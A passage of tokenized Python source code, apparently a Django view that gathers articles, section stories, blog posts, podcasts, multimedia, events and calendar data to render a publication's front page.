"\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "don", "'", "t", " ", "have", " ", "publicat", "ion", " ", "dates", " ", "in", " ", "the", " ", "future", "._", "\\u\\u\\uNL\\u\\u\\u_", "articles_", "=_", "Article_", "._", "get", "\\u", "published_", "._", "select", "\\u", "related_", "(_", "depth_", "=_", "1_", ")_", "._", "filter_", "(_", "section", "\\u\\u", "publicat", "ion", "\\u\\u", "site_", "=_", "site_", ")_", "._", "filter_", "(_", "issue", "\\u\\u", "pub", "\\u", "date", "\\u\\u", "gte_", "=_", "issue_", "._", "pub", "\\u", "date_", ")_", "._", "filter_", "(_", "issue", "\\u\\u", "pub", "\\u", "date", "\\u\\u", "lte_", "=_", "datetime_", "._", "now_", "(_", ")_", ")_", "._", "order", "\\u", "by_", "(_", "'", "priorit", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Her", "e", " ", "we", " ", "get", " ", "a", " ", "list", " ", "of", " ", "all", " ", "five", " ", "top", " ", "items", ",", " ", "for", " ", "a", " ", "Ja", "va", "Script", " ", "rotati", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", " ", "we", " ", "have", " ", "two", " ", "variab", "les", " ", "with", " ", "this", " ", "list", " ", "\\", "821", "2", ";", " ", "this", " ", "is", " ", "due", " ", "to", " ", "how", " ", "our_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "partic", "ular", " ", "rotati", "on", " ", "is", " ", "implemented", "._", "\\u\\u\\uNL\\u\\u\\u_", "rotati", "ng", "\\u", "items_", "=_", "front_", "._", "item", "\\u", "set_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rotati", "ng", "\\u", "item", "\\u", "list_", "=_", "front_", "._", "item", "\\u", "set_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Remove", " ", "the", " ", "top", " ", "stor", "y", " ", "from", " ", "fur", "ther", " ", "consider", "ation", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "B", "#", " ", "Thi", "s", " ", "will", " ", "need", " ", "to", " ", "be", " ", "change", "d", " ", "to", " ", "reflect", " ", "article", "s", " ", "no", " ", "long", "er", " ", "bei", "ng", " ", "direct", "ly", " ", "FK", "ed", " ", "to", " ", "Web", "Front", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "article", "s", " ", "=", " ", "article", "s", ".", "exclu", "de", "(", "web", "front", "s", "\\u\\u", "web", "front", "=", "front", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "top", "\\u", "articles_", "=_", "articles_", "[_", ":_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Her", "e", " ", "we", " ", "get", " ", "the", " ", "top", " ", "five", " ", "article", "s", " ", "from", " ", "each", " ", "section", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "NOTE", ":", " ", "Thi", "s", " ", "hard", "-", "codes", " ", "section", " ", "names", " ", "in", " ", "so", " ", "tha", "t", " ", "we", " ", "can", " ", "control_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "whi", "ch", " ", "section", " ", "appear", "s", " ", "where", " ", "in", " ", "the", " ", "front", " ", "page", " ", "template", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "B", "#", " ", "Thi", "s", " ", "will", " ", "need", " ", "to", " ", "be", " ", "change", "d", " ", "to", " ", "programa", "tica", "ll", "y", " ", "go", " ", "through", " ", "section", "s", ".", " ", "We", " ", "can", " ", "now", " ", "order", " ", "the", " ", "section", "s", " ", "by", " ", "thei", "r", " ", "Conten", "t", "Chan", "nel", "'", "s", " ", "priorit", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sections_", "=_", "Section_", "._", "objects_", "._", "all_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "'-", "priorit", "y", "'_", ")_", "[_", ":_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "section", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "section_", "in_", "sections_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "sec", "\\u", "obj_", "=_", "section_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sec", "\\u", "articles_", "=_", "articles_", "._", "filter_", "(_", "section_", "=_", "section_", ")_", "._", "order", "\\u", "by_", "(_", "'", "priorit", "y", "'_", ")_", "[_", ":_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "section", "\\u", "dict_", "=_", "{_", "'", "sec", "\\u", "obj", "'_", ":_", "sec", "\\u", "obj_", ",_", "'", "article", "s", "'_", ":_", "sec", "\\u", "articles_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "section", "\\u", "list_", "._", "append_", "(_", "section", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "section", "\\u", "news", " ", "=", " ", "Sect", "ion", ".", "object", "s", ".", "get", "(", "name", "='", "News", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "section", "\\u", "news", "\\u", "article", "s", " ", "=", " ", "article", "s", ".", "filter", "(", "section", "=", "section", "\\u", "news", ").", "order", "\\u", "by", "('", "priorit", "y", "')", "[:", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "section", "\\u", "outl", "ook", " ", "=", " ", "Sect", "ion", ".", "object", "s", ".", "get", "(", "name", "='", "Outl", "ook", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "section", "\\u", "outl", "ook", "\\u", "article", "s", " ", "=", " ", "article", "s", ".", "filter", "(", "section", "=", "section", "\\u", "outl", "ook", ").", "order", "\\u", "by", "('", "priorit", "y", "')", "[:", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "section", "\\u", "forum", " ", "=", " ", "Sect", "ion", ".", "object", "s", ".", "get", "(", "name", "='", "For", "um", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "section", "\\u", "forum", "\\u", "article", "s", " ", "=", " ", "article", "s", ".", "filter", "(", "section", "=", "section", "\\u", "forum", ").", "order", "\\u", "by", "('", "priorit", "y", "')", "[:", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "section", "\\u", "arts", " ", "=", " ", "Sect", "ion", ".", "object", "s", ".", "get", "(", "name", "='", "Art", "s", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "section", "\\u", "arts", "\\u", "article", "s", " ", "=", " ", "section", "\\u", "arts", ".", "article", "\\u", "set", ".", "filter", "(", "publi", "shed", "=", "1", ").", "order", "\\u", "by", "('", "-", "pub", "\\u", "date", "',", " ", "'", "priorit", "y", "')", "[:", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "section", "\\u", "sport", "s", " ", "=", " ", "Sect", "ion", ".", "object", "s", ".", "get", "(", "name", "='", "Sport", "s", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "section", "\\u", "sport", "s", "\\u", "article", "s", " ", "=", " ", "article", "s", ".", "filter", "(", "section", "=", "section", "\\u", "sport", "s", ").", "order", "\\u", "by", "('", "priorit", "y", "')", "[:", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "And", " ", "now", " ", "we", " ", "get", " ", "all", " ", "blogs", " ", "tha", "t", " ", "are", " ", "liste", "d", " ", "in", " ", "this", " ", "publicat", "ion", ",", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "three", " ", "most", " ", "recent", " ", "posts", " ", "in", " ", "these", " ", "blogs", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "all", "\\u", "blogs", "_", "=_", "Blog", "_", "._", "current_", "._", "filter_", "(_", "section", "\\u\\u", "publicat", "ion", "\\u\\u", "site_", "=_", "site_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "late", "st", "\\u", "blog", "\\u", "posts_", "=_", "Entry_", "._", "get", "\\u", "published_", "._", "filter_", "(_", "blog", "\\u\\u", "section", "\\u\\u", "publicat", "ion", "\\u\\u", "site_", "=_", "site_", ")_", "[_", ":_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "we", " ", "get", " ", "the", " ", "late", "st", " ", "podcast", " ", "episode", "s", " ", "from", " ", "acro", "ss", " ", "all", " ", "sites", "._", "\\u\\u\\uNL\\u\\u\\u_", "late", "st", "\\u", "podcast", "\\u", "episodes_", "=_", "Episode_", "._", "objects_", "._", "all_", "(_", ")_", "[_", ":_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Her", "e", " ", "we", " ", "als", "o", " ", "get", " ", "the", " ", "top", " ", "three", " ", "onli", "ne", "-", "only", " ", "stories", " ", "tha", "t", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "are", "n", "'", "t", " ", "publi", "shed", " ", "in", " ", "the", " ", "future", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "are", " ", "marked", " ", "as", " ", "Web", " ", "update", "s", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "are", "n", "'", "t", " ", "in", " ", "the", " ", "rotati", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "late", "st", "\\u", "onli", "ne", "\\u", "exclu", "sive", "s_", "=_", "Article_", "._", "get", "\\u", "published_", "._", "filter_", "(_", "issue", "\\u\\u", "pub", "\\u", "date", "\\u\\u", "lte_", "=_", "datetime_", "._", "now_", "(_", ")_", ")_", "._", "filter_", "(_", "type_", "=_", "'", "onli", "ne", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "\t", "late", "st", "\\u", "onli", "ne", "\\u", "exclu", "sive", "s", " ", "=", " ", "late", "st", "\\u", "onli", "ne", "\\u", "exclu", "sive", "s", ".", "exclu", "de", "(", "web", "front", "s", "\\u\\u", "web", "front", "=", "front", ")_", "\\u\\u\\uNL\\u\\u\\u_", "late", "st", "\\u", "onli", "ne", "\\u", "exclu", "sive", "s_", "=_", "late", "st", "\\u", "onli", "ne", "\\u", "exclu", "sive", "s_", "[_", ":_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "to", " ", "get", " ", "the", " ", "most", " ", "recent", "ly", " ", "released", " ", "multim", "edia", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "late", "st", "\\u", "video_", "=_", "Video_", "._", "objects_", "._", "filter_", "(_", "publicat", "ion", "\\u\\u", "site_", "=_", "site_", ")_", "._", "latest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "\t", "\t", "late", "st", "\\u", "video", " ", "=", " ", "late", "st", "\\u", "video", ".", "exclu", "de", "(", "web", "front", "s", "\\u\\u", "web", "front", "=", "front", ").", "late", "st", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "late", "st", "\\u", "video_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "late", "st", "\\u", "slides", "how_", "=_", "Slide", "show_", "._", "objects_", "._", "filter_", "(_", "publicat", "ion", "\\u\\u", "site_", "=_", "site_", ")_", "._", "latest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "\t", "\t", "late", "st", "\\u", "slides", "how", " ", "=", " ", "late", "st", "\\u", "slides", "how", ".", "exclu", "de", "(", "web", "front", "s", "\\u\\u", "web", "front", "=", "front", ").", "late", "st", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "late", "st", "\\u", "slides", "how_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "late", "st", "\\u", "audio_", "=_", "Audi", "o", "Clip", "_", "._", "objects_", "._", "filter_", "(_", "publicat", "ion", "\\u\\u", "site_", "=_", "site_", ")_", "._", "latest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "\t", "\t", "late", "st", "\\u", "audio", " ", "=", " ", "late", "st", ".", "audio", ".", "exclu", "de", "(", "web", "front", "s", "\\u\\u", "web", "front", "=", "front", ").", "late", "st", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "late", "st", "\\u", "audio_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Compare", " ", "the", " ", "video", " ", "and", " ", "slides", "how", " ", "to", " ", "see", " ", "whi", "ch", " ", "one", "'", "s", " ", "newe", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "late", "st", "\\u", "slides", "how_", "!=_", "\"\"_", "and_", "late", "st", "\\u", "video_", "!=_", "\"\"_", "and_", "late", "st", "\\u", "slides", "how_", "._", "pub", "\\u", "date_", ">_", "late", "st", "\\u", "video_", "._", "pub", "\\u", "date_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "late", "st", "\\u", "multim", "edia", "_", "=_", "late", "st", "\\u", "slides", "how_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "late", "st", "\\u", "multim", "edia", "_", "=_", "late", "st", "\\u", "video_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Compare", " ", "the", " ", "audio", " ", "and", " ", "the", " ", "winner", " ", "so", " ", "far", " ", "to", " ", "see", " ", "whi", "ch", " ", "one", "'", "s", " ", "newe", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "late", "st", "\\u", "audio_", "!=_", "\"\"_", "and_", "late", "st", "\\u", "multim", "edia", "_", "!=_", "\"\"_", "and_", "late", "st", "\\u", "audio_", "._", "pub", "\\u", "date_", ">_", "late", "st", "\\u", "multim", "edia", "_", "._", "pub", "\\u", "date_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "late", "st", "\\u", "multim", "edia", "_", "=_", "late", "st", "\\u", "audio_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Do", " ", "we", " ", "need", " ", "to", " ", "show", " ", "anyt", "hing", " ", "else", "?", " ", "If", " ", "so", ",", " ", "go", " ", "ahe", "ad", " ", "and", " ", "render", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "B", "#", " ", "Is", " ", "this", " ", "still", " ", "rele", "van", "t", "?", " ", "If", " ", "so", ",", " ", "make", " ", "it", " ", "prom", "inen", "t", " ", "on", " ", "the", " ", "page", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "other", "\\u", "info_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "front_", "._", "other", "\\u", "info_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "other", "\\u", "info_", "=_", "markdown_", "(_", "front_", "._", "other", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "all", " ", "events", " ", "tha", "t", " ", "are", "n", "'", "t", " ", "over", " ", "and", " ", "tha", "t", " ", "are", " ", "in", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "appropr", "iate", " ", "calendar", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "events_", "=_", "Event_", "._", "not", "\\u", "past_", "._", "filter_", "(_", "calendar", "s_", "=_", "front_", "._", "calendar_", ")_", "[_", ":_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "all", " ", "currentl", "y", "-", "publi", "shed", " ", "news", " ", "burst", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "B", "#", " ", "Sho", "ul", "d", " ", "we", " ", "have", " ", "different", " ", "news", " ", "burst", "s", " ", "for", " ", "each", " ", "site", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "news", "\\u", "burst", "s_", "=_", "News", "Bur", "st_", "._", "get", "\\u", "published_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "front", " ", "page", " ", "layout", " ", "from", " ", "this", " ", "issue", ",", " ", "if", " ", "there", " ", "is", " ", "one", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "issue", "\\u", "front_", "=_", "issue_", "._", "layout", "\\u", "set_", "._", "filter_", "(_", "type_", "=_", "'", "cover", "'_", ")_", "._", "filter_", "(_", "section", "\\u\\u", "publicat", "ion", "\\u\\u", "site_", "=_", "site_", ")_", "._", "latest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "issue", "\\u", "front_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "all", " ", "other", " ", "layouts", " ", "from", " ", "this", " ", "issue", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "issue", "\\u", "other", "\\u", "layouts", "_", "=_", "issue_", "._", "layout", "\\u", "set_", "._", "exclude_", "(_", "type_", "=_", "'", "cover", "'_", ")_", "._", "filter_", "(_", "section", "\\u\\u", "publicat", "ion", "\\u\\u", "site_", "=_", "site_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "And", " ", "now", ",", " ", "the", " ", "calendar", ".", " ", "Not", "hing", " ", "too", " ", "fancy", " ", "here", ";", " ", "a", " ", "repa", "ste", " ", "of", " ", "the", " ", "code", " ", "found", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "events", ".", "views", ".", "grid", "one", " ", "gets", " ", "the", " ", "job", " ", "don", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "year_", "=_", "datetime_", "._", "now_", "(_", ")_", "._", "year_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "month_", "=_", "datetime_", "._", "now_", "(_", ")_", "._", "month_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "calendar_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "calendar", "\\u", "list_", "=_", "Calendar_", "._", "objects_", "._", "all_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "events_", "=_", "Event_", "._", "objects_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "month", "\\u", "formatted_", "=_", "pyca", "l_", "._", "month", "calendar_", "(_", "year_", ",_", "month_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "month", "\\u", "minus_", "=_", "month_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "month", "\\u", "plus_", "=_", "month_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "month", "\\u", "name_", "=_", "pyca", "l_", "._", "month", "\\u", "name_", "[_", "month_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "weekday", "\\u", "header_", "=_", "pyca", "l_", "._", "week", "header_", "(_", "3_", ")_", "._", "strip_", "(_", ")_", "._", "split_", "(_", "\"", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "year", "\\u", "minus_", "=_", "year_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "year", "\\u", "plus_", "=_", "year_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "today_", "=_", "datetime_", "._", "now_", "(_", ")_", "._", "day_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "this", "\\u", "month_", "=_", "month_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "this", "\\u", "year_", "=_", "year_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event", "\\u", "list_", "=_", "events_", "._", "filter_", "(_", "Q_", "(_", "start", "\\u\\u", "year_", "=_", "year_", ",_", "start", "\\u\\u", "month_", "=_", "month_", ")_", "|_", "Q_", "(_", "end", "\\u\\u", "year_", "=_", "year_", ",_", "end", "\\u\\u", "month_", "=_", "month_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "repos", "ting", " ", "of", " ", "the", " ", "method", " ", "to", " ", "get", " ", "events", " ", "from", " ", "ear", "lie", "r", ".", " ", "Be", "caus", "e", " ", "you", " ", "just", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "don", "'", "t", " ", "want", " ", "every", " ", "event", " ", "THA", "T", " ", "WA", "S", " ", "EVE", "R", " ", "PU", "T", " ", "IN", " ", "showin", "g", " ", "up", " ", "on", " ", "the", " ", "front", " ", "page", "._", "\\u\\u\\uNL\\u\\u\\u_", "events_", "=_", "Event_", "._", "not", "\\u", "past_", "._", "filter_", "(_", "calendar", "s_", "=_", "front_", "._", "calendar_", ")_", "[_", ":_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "B", "#", " ", "Can", " ", "we", " ", "do", " ", "a", " ", "Top", "On", "line", " ", "view", " ", "tha", "t", " ", "can", " ", "return", " ", "context", " ", "here", ",", " ", "inst", "ead", " ", "of", " ", "calling", " ", "method", "s", " ", "ours", "elv", "es", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "page_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "all", "\\u", "blogs", "'_", ":_", "all", "\\u", "blogs", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "calendar", "'_", ":_", "calendar_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "calendar", "\\u", "list", "'_", ":_", "calendar", "\\u", "list_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "events", "'_", ":_", "events_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "event", "\\u", "list", "'_", ":_", "event", "\\u", "list_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "issue", "'_", ":_", "issue_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "issue", "\\u", "front", "'_", ":_", "issue", "\\u", "front_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "issue", "\\u", "other", "\\u", "layouts", "'_", ":_", "issue", "\\u", "other", "\\u", "layouts", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "late", "st", "\\u", "audio", "'_", ":_", "late", "st", "\\u", "audio_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "late", "st", "\\u", "blog", "\\u", "posts", "'_", ":_", "late", "st", "\\u", "blog", "\\u", "posts_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "late", "st", "\\u", "multim", "edia", "'_", ":_", "late", "st", "\\u", "multim", "edia", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "late", "st", "\\u", "onli", "ne", "\\u", "exclu", "sive", "s", "'_", ":_", "late", "st", "\\u", "onli", "ne", "\\u", "exclu", "sive", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "late", "st", "\\u", "podcast", "\\u", "episode", "s", "'_", ":_", "late", "st", "\\u", "podcast", "\\u", "episodes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "late", "st", "\\u", "slides", "how", "'_", ":_", "late", "st", "\\u", "slides", "how_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "late", "st", "\\u", "video", "'_", ":_", "late", "st", "\\u", "video_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "month", "'_", ":_", "month_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "month", "\\u", "format", "ted", "'_", ":_", "month", "\\u", "formatted_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "month", "\\u", "minu", "s", "'_", ":_", "month", "\\u", "minus_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "month", "\\u", "name", "'_", ":_", "month", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "month", "\\u", "plus", "'_", ":_", "month", "\\u", "plus_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "news", "\\u", "burst", "s", "'_", ":_", "news", "\\u", "burst", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "other", "\\u", "info", "'_", ":_", "other", "\\u", "info_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rotati", "ng", "\\u", "item", "\\u", "list", "'_", ":_", "rotati", "ng", "\\u", "item", "\\u", "list_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rotati", "ng", "\\u", "items", "'_", ":_", "rotati", "ng", "\\u", "items_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "section", "s", "'_", ":_", "section", "\\u", "list_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "'", "section", "\\u", "arts", "':", " ", "section", "\\u", "arts", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "'", "section", "\\u", "arts", "\\u", "article", "s", "':", " ", "section", "\\u", "arts", "\\u", "article", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "'", "section", "\\u", "forum", "':", " ", "section", "\\u", "forum", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "'", "section", "\\u", "forum", "\\u", "article", "s", "':", " ", "section", "\\u", "forum", "\\u", "article", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "'", "section", "\\u", "news", "':", " ", "section", "\\u", "news", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "'", "section", "\\u", "news", "\\u", "article", "s", "':", " ", "section", "\\u", "news", "\\u", "article", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "'", "section", "\\u", "outl", "ook", "':", " ", "section", "\\u", "outl", "ook", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "'", "section", "\\u", "outl", "ook", "\\u", "article", "s", "':", " ", "section", "\\u", "outl", "ook", "\\u", "article", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "'", "section", "\\u", "sport", "s", "':", " ", "section", "\\u", "sport", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "'", "section", "\\u", "sport", "s", "\\u", "article", "s", "':", " ", "section", "\\u", "sport", "s", "\\u", "article", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "this", "\\u", "month", "'_", ":_", "this", "\\u", "month_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "this", "\\u", "year", "'_", ":_", "this", "\\u", "year_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", 